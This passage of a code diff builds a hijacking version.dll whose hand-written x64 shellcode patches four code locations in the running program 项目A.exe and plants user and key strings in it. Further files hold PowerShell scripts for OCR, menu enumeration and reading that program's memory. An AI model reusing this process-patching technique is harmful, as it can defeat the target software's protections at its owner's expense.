emit_sc(b'\xff\xd6') # call rsi
|
||||
emit_sc(b'\x48\x89\x83\xf8\xce\x21\x02') # mov [rbx + 0x221CEF8], rax
|
||||
|
||||
# 2. Allocate STR_KEY and store in [rbx + 0x22694A0] and [rbx + 0x21E52F0]
|
||||
cur_ip = (BASE_RVA + OFF_HOOK_SCOPE) + len(scope_code)
|
||||
disp = (BASE_RVA + OFF_STR_KEY) - (cur_ip + 7)
|
||||
emit_sc(b'\x48\x8d\x0d' + struct.pack("<i", disp)) # lea rcx, [rip + OFF_STR_KEY]
|
||||
emit_sc(b'\xff\xd6') # call rsi
|
||||
emit_sc(b'\x48\x89\x83\xa0\x94\x26\x02') # mov [rbx + 0x22694A0], rax
|
||||
emit_sc(b'\x48\x89\x83\xf0\x52\x1e\x02') # mov [rbx + 0x21E52F0], rax
|
||||
|
||||
# 3. Allocate STR_INTERNAL and keep in rax as function return value
|
||||
cur_ip = (BASE_RVA + OFF_HOOK_SCOPE) + len(scope_code)
|
||||
disp = (BASE_RVA + OFF_STR_INTERNAL) - (cur_ip + 7)
|
||||
emit_sc(b'\x48\x8d\x0d' + struct.pack("<i", disp)) # lea rcx, [rip + OFF_STR_INTERNAL]
|
||||
emit_sc(b'\xff\xd6') # call rsi
|
||||
|
||||
# Epilogue
|
||||
emit_sc(b'\x48\x83\xc4\x20') # add rsp, 0x20
|
||||
emit_sc(b'\x5f') # pop rdi
|
||||
emit_sc(b'\x5e') # pop rsi
|
||||
emit_sc(b'\x5b') # pop rbx
|
||||
emit_sc(b'\xc3') # ret
|
||||
|
||||
print(f"[+] Autonomous Hook_InternalScope length: {len(scope_code)} bytes at RVA 0x{BASE_RVA + OFF_HOOK_SCOPE:X}")
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# Construct Main Hook at RVA 0x4100
|
||||
# -------------------------------------------------------------
|
||||
main_code = bytearray()
|
||||
def emit(b): main_code.extend(b)
|
||||
|
||||
# push non-volatile registers
|
||||
emit(b'\x53') # push rbx
|
||||
emit(b'\x56') # push rsi
|
||||
emit(b'\x57') # push rdi
|
||||
emit(b'\x41\x54') # push r12
|
||||
emit(b'\x41\x55') # push r13
|
||||
emit(b'\x41\x56') # push r14
|
||||
emit(b'\x41\x57') # push r15
|
||||
emit(b'\x48\x83\xec\x50') # sub rsp, 0x50
|
||||
|
||||
# 1. Call original 0x1794 (__security_init_cookie)
|
||||
cur_ip = (BASE_RVA + OFF_HOOK_MAIN) + len(main_code)
|
||||
disp = 0x1794 - (cur_ip + 5)
|
||||
emit(b'\xe8' + struct.pack("<i", disp))
|
||||
|
||||
# 2. Get 项目A.exe ImageBase into rbx
|
||||
# mov rax, gs:[0x60]
|
||||
emit(b'\x65\x48\x8b\x04\x25\x60\x00\x00\x00')
|
||||
# mov rbx, [rax + 0x10]
|
||||
emit(b'\x48\x8b\x58\x10')
|
||||
|
||||
# 3. Call LoadLibraryW(L"kernel32.dll") via version.dll IAT 0x5288
|
||||
cur_ip = (BASE_RVA + OFF_HOOK_MAIN) + len(main_code)
|
||||
disp_k32 = (BASE_RVA + OFF_STR_KERNEL32) - (cur_ip + 7)
|
||||
emit(b'\x48\x8d\x0d' + struct.pack("<i", disp_k32)) # lea rcx, [rip + OFF_STR_KERNEL32]
|
||||
cur_ip = (BASE_RVA + OFF_HOOK_MAIN) + len(main_code)
|
||||
disp_loadlib = 0x5288 - (cur_ip + 6)
|
||||
emit(b'\xff\x15' + struct.pack("<i", disp_loadlib)) # call [rip + disp_loadlib]
|
||||
emit(b'\x49\x89\xc4') # mov r12, rax (r12 = hKernel32)
|
||||
|
||||
# 4. Call GetProcAddress(r12, "VirtualProtect") via version.dll IAT 0x5278
|
||||
emit(b'\x4c\x89\xe1') # mov rcx, r12
|
||||
cur_ip = (BASE_RVA + OFF_HOOK_MAIN) + len(main_code)
|
||||
disp_vp = (BASE_RVA + OFF_STR_VP) - (cur_ip + 7)
|
||||
emit(b'\x48\x8d\x15' + struct.pack("<i", disp_vp)) # lea rdx, [rip + OFF_STR_VP]
|
||||
cur_ip = (BASE_RVA + OFF_HOOK_MAIN) + len(main_code)
|
||||
disp_getproc = 0x5278 - (cur_ip + 6)
|
||||
emit(b'\xff\x15' + struct.pack("<i", disp_getproc)) # call [rip + disp_getproc]
|
||||
emit(b'\x49\x89\xc5') # mov r13, rax (r13 = VirtualProtect)
|
||||
|
||||
# Helper function to generate patch application block
|
||||
def emit_apply_patch(target_rva, patch_off, patch_len):
|
||||
emit(b'\x48\x8d\x8b' + struct.pack("<i", target_rva)) # lea rcx, [rbx + target_rva]
|
||||
emit(b'\xba' + struct.pack("<i", patch_len)) # mov edx, patch_len
|
||||
emit(b'\x41\xb8\x40\x00\x00\x00') # mov r8d, 0x40
|
||||
emit(b'\x4c\x8d\x4c\x24\x20') # lea r9, [rsp + 0x20]
|
||||
emit(b'\x41\xff\xd5') # call r13 (VirtualProtect)
|
||||
|
||||
cur_ip = (BASE_RVA + OFF_HOOK_MAIN) + len(main_code)
|
||||
disp = (BASE_RVA + patch_off) - (cur_ip + 7)
|
||||
emit(b'\x48\x8d\x35' + struct.pack("<i", disp)) # lea rsi, [rip + patch_off]
|
||||
emit(b'\x48\x8d\xbb' + struct.pack("<i", target_rva)) # lea rdi, [rbx + target_rva]
|
||||
emit(b'\xb9' + struct.pack("<i", patch_len)) # mov ecx, patch_len
|
||||
emit(b'\xf3\xa4') # rep movsb
|
||||
|
||||
# 5. Apply Patch 1 (0x66FC95, 34 bytes)
|
||||
emit_apply_patch(0x66FC95, OFF_PATCH1_DATA, len(PATCH1_BYTES))
|
||||
|
||||
# 6. Apply Patch 2 (0x66DB7B, 5 bytes)
|
||||
emit_apply_patch(0x66DB7B, OFF_PATCH2_DATA, len(PATCH2_BYTES))
|
||||
|
||||
# 7. Apply Patch 3 (0x8E75ED, 6 bytes)
|
||||
emit_apply_patch(0x8E75ED, OFF_PATCH3_DATA, len(PATCH3_BYTES))
|
||||
|
||||
# 8. Apply Patch 4 (0x8E6D83, 14 bytes trampoline to Hook_InternalScope)
|
||||
cur_ip = (BASE_RVA + OFF_HOOK_MAIN) + len(main_code)
|
||||
disp_scope = (BASE_RVA + OFF_HOOK_SCOPE) - (cur_ip + 7)
|
||||
emit(b'\x48\x8d\x15' + struct.pack("<i", disp_scope)) # lea rdx, [rip + OFF_HOOK_SCOPE]
|
||||
emit(b'\xc7\x44\x24\x28\xff\x25\x00\x00') # mov dword ptr [rsp + 0x28], 0x0025ff
|
||||
emit(b'\x66\xc7\x44\x24\x2c\x00\x00') # mov word ptr [rsp + 0x2c], 0x0000
|
||||
emit(b'\x48\x89\x54\x24\x2e') # mov qword ptr [rsp + 0x2e], rdx
|
||||
|
||||
emit(b'\x48\x8d\x8b\x83\x6d\x8e\x00') # lea rcx, [rbx + 0x8e6d83]
|
||||
emit(b'\xba\x0e\x00\x00\x00') # mov edx, 14
|
||||
emit(b'\x41\xb8\x40\x00\x00\x00') # mov r8d, 0x40
|
||||
emit(b'\x4c\x8d\x4c\x24\x20') # lea r9, [rsp + 0x20]
|
||||
emit(b'\x41\xff\xd5') # call r13 (VirtualProtect)
|
||||
|
||||
emit(b'\x48\x8d\x74\x24\x28') # lea rsi, [rsp + 0x28]
|
||||
emit(b'\x48\x8d\xbb\x83\x6d\x8e\x00') # lea rdi, [rbx + 0x8e6d83]
|
||||
emit(b'\xb9\x0e\x00\x00\x00') # mov ecx, 14
|
||||
emit(b'\xf3\xa4') # rep movsb
|
||||
|
||||
# 9. Clean up stack and restore registers
|
||||
emit(b'\x48\x83\xc4\x50') # add rsp, 0x50
|
||||
emit(b'\x41\x5f') # pop r15
|
||||
emit(b'\x41\x5e') # pop r14
|
||||
emit(b'\x41\x5d') # pop r13
|
||||
emit(b'\x41\x5c') # pop r12
|
||||
emit(b'\x5f') # pop rdi
|
||||
emit(b'\x5e') # pop rsi
|
||||
emit(b'\x5b') # pop rbx
|
||||
emit(b'\xc3') # ret
|
||||
|
||||
print(f"[+] MainHook length: {len(main_code)} bytes at RVA 0x{BASE_RVA + OFF_HOOK_MAIN:X}")
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# Write payloads into section fothk buffer without touching 0x4010..0x4015
|
||||
# -------------------------------------------------------------
|
||||
dll[RAW_BASE + OFF_HOOK_MAIN : RAW_BASE + OFF_HOOK_MAIN + len(main_code)] = main_code
|
||||
dll[RAW_BASE + OFF_HOOK_SCOPE : RAW_BASE + OFF_HOOK_SCOPE + len(scope_code)] = scope_code
|
||||
|
||||
def write_at(off, data):
|
||||
dll[RAW_BASE + off : RAW_BASE + off + len(data)] = data
|
||||
|
||||
write_at(OFF_STR_KERNEL32, STR_KERNEL32)
|
||||
write_at(OFF_STR_VP, STR_VP)
|
||||
write_at(OFF_STR_INTERNAL, STR_INTERNAL)
|
||||
write_at(OFF_STR_USER, STR_USER)
|
||||
write_at(OFF_STR_KEY, STR_KEY)
|
||||
write_at(OFF_PATCH1_DATA, PATCH1_BYTES)
|
||||
write_at(OFF_PATCH2_DATA, PATCH2_BYTES)
|
||||
write_at(OFF_PATCH3_DATA, PATCH3_BYTES)
|
||||
|
||||
# Patch DllMain entry point at 0x144C to call MainHook (0x4100)
|
||||
hook_call = b'\xe8' + struct.pack("<i", (BASE_RVA + OFF_HOOK_MAIN) - (0x144C + 5))
|
||||
dll[0x144C : 0x144C + 5] = hook_call
|
||||
|
||||
assert dll[0x4010:0x4015] == b'\xe9\x2b\xf6\xff\xff', "0x4010 MUST REMAIN UNTOUCHED!"
|
||||
|
||||
with open(r"<本地路径>", "wb") as f:
|
||||
f.write(dll)
|
||||
|
||||
# Also copy directly to <本地路径>
|
||||
with open(r"<本地路径>", "wb") as f:
|
||||
f.write(dll)
|
||||
|
||||
print(f"[+] Successfully generated truly autonomous version.dll ({len(dll)} bytes)")
|
||||
@@ -0,0 +1,20 @@
|
||||
param([string]$Path)
|
||||
Add-Type -AssemblyName System.Runtime.WindowsRuntime
|
||||
$asTaskGeneric = ([System.WindowsRuntimeSystemExtensions].GetMethods() | Where-Object {
|
||||
$_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' })[0]
|
||||
function Await($op, $type) {
|
||||
$t = $asTaskGeneric.MakeGenericMethod($type).Invoke($null, @($op))
|
||||
$t.Wait(-1) | Out-Null
|
||||
return $t.Result
|
||||
}
|
||||
[Windows.Media.Ocr.OcrEngine,Windows.Foundation,ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Graphics.Imaging.BitmapDecoder,Windows.Foundation,ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Storage.StorageFile,Windows.Foundation,ContentType=WindowsRuntime] | Out-Null
|
||||
$eng = [Windows.Media.Ocr.OcrEngine]::TryCreateFromLanguage((New-Object Windows.Globalization.Language "zh-Hans-CN"))
|
||||
if (-not $eng) { $eng = [Windows.Media.Ocr.OcrEngine]::TryCreateFromUserProfileLanguages() }
|
||||
$file = Await ([Windows.Storage.StorageFile]::GetFileFromPathAsync($Path)) ([Windows.Storage.StorageFile])
|
||||
$stream = Await ($file.OpenAsync([Windows.Storage.FileAccessMode]::Read)) ([Windows.Storage.Streams.IRandomAccessStream])
|
||||
$dec = Await ([Windows.Graphics.Imaging.BitmapDecoder]::CreateAsync($stream)) ([Windows.Graphics.Imaging.BitmapDecoder])
|
||||
$bmp = Await ($dec.GetSoftwareBitmapAsync()) ([Windows.Graphics.Imaging.SoftwareBitmap])
|
||||
$res = Await ($eng.RecognizeAsync($bmp)) ([Windows.Media.Ocr.OcrResult])
|
||||
Write-Output $res.Text
|
||||
@@ -0,0 +1,29 @@
|
||||
|
||||
$imagePath = '<本地路径>'
|
||||
Add-Type -AssemblyName System.Runtime.WindowsRuntime
|
||||
$asTaskGeneric = [System.WindowsRuntimeSystemExtensions].GetMethods() | Where-Object { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' } | Select-Object -First 1
|
||||
|
||||
function Await($WinRtTask, $ResultType) {
|
||||
$asTask = $asTaskGeneric.MakeGenericMethod($ResultType)
|
||||
$netTask = $asTask.Invoke($null, @($WinRtTask))
|
||||
$netTask.Wait(-1) | Out-Null
|
||||
$netTask.Result
|
||||
}
|
||||
|
||||
[Windows.Globalization.Language, Windows.Globalization, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Graphics.Imaging.BitmapDecoder, Windows.Graphics.Imaging, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Media.Ocr.OcrEngine, Windows.Media.Ocr, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Storage.StorageFile, Windows.Storage, ContentType=WindowsRuntime] | Out-Null
|
||||
|
||||
$file = Await ([Windows.Storage.StorageFile]::GetFileFromPathAsync($imagePath)) ([Windows.Storage.StorageFile])
|
||||
$stream = Await ($file.OpenAsync([Windows.Storage.FileAccessMode]::Read)) ([Windows.Storage.Streams.IRandomAccessStream])
|
||||
$decoder = Await ([Windows.Graphics.Imaging.BitmapDecoder]::CreateAsync($stream)) ([Windows.Graphics.Imaging.BitmapDecoder])
|
||||
$bitmap = Await ($decoder.GetSoftwareBitmapAsync()) ([Windows.Graphics.Imaging.SoftwareBitmap])
|
||||
|
||||
$engine = [Windows.Media.Ocr.OcrEngine]::TryCreateFromUserProfileLanguages()
|
||||
$result = Await ($engine.RecognizeAsync($bitmap)) ([Windows.Media.Ocr.OcrResult])
|
||||
|
||||
foreach ($line in $result.Lines) {
|
||||
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
|
||||
[Console]::WriteLine($line.Text)
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
|
||||
$imagePath = '<本地路径>'
|
||||
Add-Type -AssemblyName System.Runtime.WindowsRuntime
|
||||
$asTaskGeneric = [System.WindowsRuntimeSystemExtensions].GetMethods() | Where-Object { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' } | Select-Object -First 1
|
||||
|
||||
function Await($WinRtTask, $ResultType) {
|
||||
$asTask = $asTaskGeneric.MakeGenericMethod($ResultType)
|
||||
$netTask = $asTask.Invoke($null, @($WinRtTask))
|
||||
$netTask.Wait(-1) | Out-Null
|
||||
$netTask.Result
|
||||
}
|
||||
|
||||
[Windows.Globalization.Language, Windows.Globalization, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Graphics.Imaging.BitmapDecoder, Windows.Graphics.Imaging, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Media.Ocr.OcrEngine, Windows.Media.Ocr, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Storage.StorageFile, Windows.Storage, ContentType=WindowsRuntime] | Out-Null
|
||||
|
||||
$file = Await ([Windows.Storage.StorageFile]::GetFileFromPathAsync($imagePath)) ([Windows.Storage.StorageFile])
|
||||
$stream = Await ($file.OpenAsync([Windows.Storage.FileAccessMode]::Read)) ([Windows.Storage.Streams.IRandomAccessStream])
|
||||
$decoder = Await ([Windows.Graphics.Imaging.BitmapDecoder]::CreateAsync($stream)) ([Windows.Graphics.Imaging.BitmapDecoder])
|
||||
$bitmap = Await ($decoder.GetSoftwareBitmapAsync()) ([Windows.Graphics.Imaging.SoftwareBitmap])
|
||||
|
||||
$engine = [Windows.Media.Ocr.OcrEngine]::TryCreateFromLanguage([Windows.Globalization.Language]::new('en-US'))
|
||||
$result = Await ($engine.RecognizeAsync($bitmap)) ([Windows.Media.Ocr.OcrResult])
|
||||
|
||||
foreach ($line in $result.Lines) {
|
||||
[Console]::WriteLine($line.Text)
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
|
||||
$imagePath = '<本地路径>'
|
||||
Add-Type -AssemblyName System.Runtime.WindowsRuntime
|
||||
$asTaskGeneric = [System.WindowsRuntimeSystemExtensions].GetMethods() | Where-Object { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' } | Select-Object -First 1
|
||||
|
||||
function Await($WinRtTask, $ResultType) {
|
||||
$asTask = $asTaskGeneric.MakeGenericMethod($ResultType)
|
||||
$netTask = $asTask.Invoke($null, @($WinRtTask))
|
||||
$netTask.Wait(-1) | Out-Null
|
||||
$netTask.Result
|
||||
}
|
||||
|
||||
[Windows.Globalization.Language, Windows.Globalization, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Graphics.Imaging.BitmapDecoder, Windows.Graphics.Imaging, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Media.Ocr.OcrEngine, Windows.Media.Ocr, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Storage.StorageFile, Windows.Storage, ContentType=WindowsRuntime] | Out-Null
|
||||
|
||||
$file = Await ([Windows.Storage.StorageFile]::GetFileFromPathAsync($imagePath)) ([Windows.Storage.StorageFile])
|
||||
$stream = Await ($file.OpenAsync([Windows.Storage.FileAccessMode]::Read)) ([Windows.Storage.Streams.IRandomAccessStream])
|
||||
$decoder = Await ([Windows.Graphics.Imaging.BitmapDecoder]::CreateAsync($stream)) ([Windows.Graphics.Imaging.BitmapDecoder])
|
||||
$bitmap = Await ($decoder.GetSoftwareBitmapAsync()) ([Windows.Graphics.Imaging.SoftwareBitmap])
|
||||
|
||||
$engine = [Windows.Media.Ocr.OcrEngine]::TryCreateFromLanguage([Windows.Globalization.Language]::new('zh-Hans-CN'))
|
||||
$result = Await ($engine.RecognizeAsync($bitmap)) ([Windows.Media.Ocr.OcrResult])
|
||||
|
||||
foreach ($line in $result.Lines) {
|
||||
$words = ($line.Words | ForEach-Object { $_.Text }) -join " "
|
||||
[Console]::OutputEncoding = [System.Text.Encoding]::GetEncoding("gb2312")
|
||||
[Console]::WriteLine($words)
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
|
||||
$imagePath = '<本地路径>'
|
||||
Add-Type -AssemblyName System.Runtime.WindowsRuntime
|
||||
$asTaskGeneric = [System.WindowsRuntimeSystemExtensions].GetMethods() | Where-Object { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' } | Select-Object -First 1
|
||||
|
||||
function Await($WinRtTask, $ResultType) {
|
||||
$asTask = $asTaskGeneric.MakeGenericMethod($ResultType)
|
||||
$netTask = $asTask.Invoke($null, @($WinRtTask))
|
||||
$netTask.Wait(-1) | Out-Null
|
||||
$netTask.Result
|
||||
}
|
||||
|
||||
[Windows.Globalization.Language, Windows.Globalization, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Graphics.Imaging.BitmapDecoder, Windows.Graphics.Imaging, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Media.Ocr.OcrEngine, Windows.Media.Ocr, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Storage.StorageFile, Windows.Storage, ContentType=WindowsRuntime] | Out-Null
|
||||
|
||||
$file = Await ([Windows.Storage.StorageFile]::GetFileFromPathAsync($imagePath)) ([Windows.Storage.StorageFile])
|
||||
$stream = Await ($file.OpenAsync([Windows.Storage.FileAccessMode]::Read)) ([Windows.Storage.Streams.IRandomAccessStream])
|
||||
$decoder = Await ([Windows.Graphics.Imaging.BitmapDecoder]::CreateAsync($stream)) ([Windows.Graphics.Imaging.BitmapDecoder])
|
||||
$bitmap = Await ($decoder.GetSoftwareBitmapAsync()) ([Windows.Graphics.Imaging.SoftwareBitmap])
|
||||
|
||||
$engine = [Windows.Media.Ocr.OcrEngine]::TryCreateFromLanguage([Windows.Globalization.Language]::new('zh-Hans-CN'))
|
||||
$result = Await ($engine.RecognizeAsync($bitmap)) ([Windows.Media.Ocr.OcrResult])
|
||||
|
||||
foreach ($line in $result.Lines) {
|
||||
$bytes = [System.Text.Encoding]::UTF8.GetBytes($line.Text)
|
||||
$hex = ($bytes | ForEach-Object { $_.ToString("X2") }) -join " "
|
||||
[Console]::WriteLine($hex)
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
|
||||
$imagePath = '<本地路径>'
|
||||
Add-Type -AssemblyName System.Runtime.WindowsRuntime
|
||||
$asTaskGeneric = [System.WindowsRuntimeSystemExtensions].GetMethods() | Where-Object { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' } | Select-Object -First 1
|
||||
|
||||
function Await($WinRtTask, $ResultType) {
|
||||
$asTask = $asTaskGeneric.MakeGenericMethod($ResultType)
|
||||
$netTask = $asTask.Invoke($null, @($WinRtTask))
|
||||
$netTask.Wait(-1) | Out-Null
|
||||
$netTask.Result
|
||||
}
|
||||
|
||||
[Windows.Globalization.Language, Windows.Globalization, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Graphics.Imaging.BitmapDecoder, Windows.Graphics.Imaging, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Media.Ocr.OcrEngine, Windows.Media.Ocr, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Storage.StorageFile, Windows.Storage, ContentType=WindowsRuntime] | Out-Null
|
||||
|
||||
$file = Await ([Windows.Storage.StorageFile]::GetFileFromPathAsync($imagePath)) ([Windows.Storage.StorageFile])
|
||||
$stream = Await ($file.OpenAsync([Windows.Storage.FileAccessMode]::Read)) ([Windows.Storage.Streams.IRandomAccessStream])
|
||||
$decoder = Await ([Windows.Graphics.Imaging.BitmapDecoder]::CreateAsync($stream)) ([Windows.Graphics.Imaging.BitmapDecoder])
|
||||
$bitmap = Await ($decoder.GetSoftwareBitmapAsync()) ([Windows.Graphics.Imaging.SoftwareBitmap])
|
||||
|
||||
$engine = [Windows.Media.Ocr.OcrEngine]::TryCreateFromUserProfileLanguages()
|
||||
if (!$engine) { $engine = [Windows.Media.Ocr.OcrEngine]::TryCreateFromLanguage([Windows.Globalization.Language]::new('en-US')) }
|
||||
$result = Await ($engine.RecognizeAsync($bitmap)) ([Windows.Media.Ocr.OcrResult])
|
||||
|
||||
foreach ($line in $result.Lines) {
|
||||
Write-Host $line.Text
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
|
||||
$imagePath = '<本地路径>'
|
||||
Add-Type -AssemblyName System.Runtime.WindowsRuntime
|
||||
$asTaskGeneric = [System.WindowsRuntimeSystemExtensions].GetMethods() | Where-Object { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' } | Select-Object -First 1
|
||||
|
||||
function Await($WinRtTask, $ResultType) {
|
||||
$asTask = $asTaskGeneric.MakeGenericMethod($ResultType)
|
||||
$netTask = $asTask.Invoke($null, @($WinRtTask))
|
||||
$netTask.Wait(-1) | Out-Null
|
||||
$netTask.Result
|
||||
}
|
||||
|
||||
[Windows.Globalization.Language, Windows.Globalization, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Graphics.Imaging.BitmapDecoder, Windows.Graphics.Imaging, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Media.Ocr.OcrEngine, Windows.Media.Ocr, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Storage.StorageFile, Windows.Storage, ContentType=WindowsRuntime] | Out-Null
|
||||
|
||||
$file = Await ([Windows.Storage.StorageFile]::GetFileFromPathAsync($imagePath)) ([Windows.Storage.StorageFile])
|
||||
$stream = Await ($file.OpenAsync([Windows.Storage.FileAccessMode]::Read)) ([Windows.Storage.Streams.IRandomAccessStream])
|
||||
$decoder = Await ([Windows.Graphics.Imaging.BitmapDecoder]::CreateAsync($stream)) ([Windows.Graphics.Imaging.BitmapDecoder])
|
||||
$bitmap = Await ($decoder.GetSoftwareBitmapAsync()) ([Windows.Graphics.Imaging.SoftwareBitmap])
|
||||
|
||||
$engine = [Windows.Media.Ocr.OcrEngine]::TryCreateFromUserProfileLanguages()
|
||||
if (!$engine) { $engine = [Windows.Media.Ocr.OcrEngine]::TryCreateFromLanguage([Windows.Globalization.Language]::new('en-US')) }
|
||||
$result = Await ($engine.RecognizeAsync($bitmap)) ([Windows.Media.Ocr.OcrResult])
|
||||
|
||||
foreach ($line in $result.Lines) {
|
||||
$box = [string]::Format("[{0},{1},{2},{3}]", $line.Words[0].BoundingRect.X, $line.Words[0].BoundingRect.Y, $line.Words[-1].BoundingRect.Right, $line.Words[-1].BoundingRect.Bottom)
|
||||
[Console]::WriteLine($box + " " + $line.Text)
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
|
||||
$imagePath = '<本地路径>'
|
||||
Add-Type -AssemblyName System.Runtime.WindowsRuntime
|
||||
$asTaskGeneric = [System.WindowsRuntimeSystemExtensions].GetMethods() | Where-Object { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' } | Select-Object -First 1
|
||||
|
||||
function Await($WinRtTask, $ResultType) {
|
||||
$asTask = $asTaskGeneric.MakeGenericMethod($ResultType)
|
||||
$netTask = $asTask.Invoke($null, @($WinRtTask))
|
||||
$netTask.Wait(-1) | Out-Null
|
||||
$netTask.Result
|
||||
}
|
||||
|
||||
[Windows.Globalization.Language, Windows.Globalization, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Graphics.Imaging.BitmapDecoder, Windows.Graphics.Imaging, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Media.Ocr.OcrEngine, Windows.Media.Ocr, ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Storage.StorageFile, Windows.Storage, ContentType=WindowsRuntime] | Out-Null
|
||||
|
||||
$file = Await ([Windows.Storage.StorageFile]::GetFileFromPathAsync($imagePath)) ([Windows.Storage.StorageFile])
|
||||
$stream = Await ($file.OpenAsync([Windows.Storage.FileAccessMode]::Read)) ([Windows.Storage.Streams.IRandomAccessStream])
|
||||
$decoder = Await ([Windows.Graphics.Imaging.BitmapDecoder]::CreateAsync($stream)) ([Windows.Graphics.Imaging.BitmapDecoder])
|
||||
$bitmap = Await ($decoder.GetSoftwareBitmapAsync()) ([Windows.Graphics.Imaging.SoftwareBitmap])
|
||||
|
||||
$engine = [Windows.Media.Ocr.OcrEngine]::TryCreateFromLanguage([Windows.Globalization.Language]::new('zh-Hans-CN'))
|
||||
if (!$engine) { $engine = [Windows.Media.Ocr.OcrEngine]::TryCreateFromUserProfileLanguages() }
|
||||
$result = Await ($engine.RecognizeAsync($bitmap)) ([Windows.Media.Ocr.OcrResult])
|
||||
|
||||
foreach ($line in $result.Lines) {
|
||||
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
|
||||
[Console]::WriteLine($line.Text)
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
$src = @'
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
public class Win {
|
||||
[DllImport("user32.dll")] public static extern bool SetForegroundWindow(IntPtr h);
|
||||
[DllImport("user32.dll")] public static extern IntPtr FindWindow(string cls, string name);
|
||||
[DllImport("user32.dll")] public static extern IntPtr GetMenu(IntPtr h);
|
||||
[DllImport("user32.dll")] public static extern IntPtr GetSubMenu(IntPtr h, int pos);
|
||||
[DllImport("user32.dll")] public static extern int GetMenuItemCount(IntPtr h);
|
||||
[DllImport("user32.dll", CharSet=CharSet.Unicode)] public static extern int GetMenuString(IntPtr h, uint id, System.Text.StringBuilder s, int max, uint flags);
|
||||
[DllImport("user32.dll")] public static extern uint GetMenuItemID(IntPtr h, int pos);
|
||||
[DllImport("user32.dll")] public static extern bool PostMessage(IntPtr h, uint msg, IntPtr w, IntPtr l);
|
||||
[DllImport("user32.dll")] public static extern bool SetCursorPos(int x, int y);
|
||||
[DllImport("user32.dll")] public static extern void mouse_event(uint f, uint x, uint y, uint d, IntPtr e);
|
||||
[DllImport("user32.dll")] public static extern bool GetWindowRect(IntPtr h, out RECT r);
|
||||
public struct RECT { public int L, T, R, B; }
|
||||
}
|
||||
'@
|
||||
Add-Type -TypeDefinition $src
|
||||
|
||||
$p = Get-Process 项目A
|
||||
$hwnd = $p.MainWindowHandle
|
||||
Write-Host "hwnd = 0x$($hwnd.ToString('X'))"
|
||||
[void][Win]::SetForegroundWindow($hwnd)
|
||||
Start-Sleep -Milliseconds 400
|
||||
|
||||
# Menu bar: enumerate top-level menus of 项目A main window
|
||||
$hmenu = [Win]::GetMenu($hwnd)
|
||||
$cnt = [Win]::GetMenuItemCount($hmenu)
|
||||
Write-Host "top-level menu items: $cnt"
|
||||
for ($i=0; $i -lt $cnt; $i++) {
|
||||
$sb = New-Object System.Text.StringBuilder 256
|
||||
[void][Win]::GetMenuString($hmenu, [uint32]$i, $sb, 256, 0x400)
|
||||
Write-Host (" [$i] id={0} '{1}'" -f [Win]::GetMenuItemID($hmenu,$i), $sb.ToString())
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
Add-Type @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
public class M {
|
||||
[DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(int a, bool b, int p);
|
||||
[DllImport("kernel32.dll")] public static extern bool ReadProcessMemory(IntPtr h, IntPtr addr, byte[] buf, int size, out IntPtr read);
|
||||
[DllImport("kernel32.dll")] public static extern bool CloseHandle(IntPtr h);
|
||||
}
|
||||
"@
|
||||
$p = Get-Process 项目A -ErrorAction Stop
|
||||
$h = [M]::OpenProcess(0x10, $false, $p.Id)
|
||||
$base = $p.MainModule.BaseAddress.ToInt64()
|
||||
|
||||
function Get-Bytes([long]$off, [int]$len) {
|
||||
$buf = New-Object byte[] $len
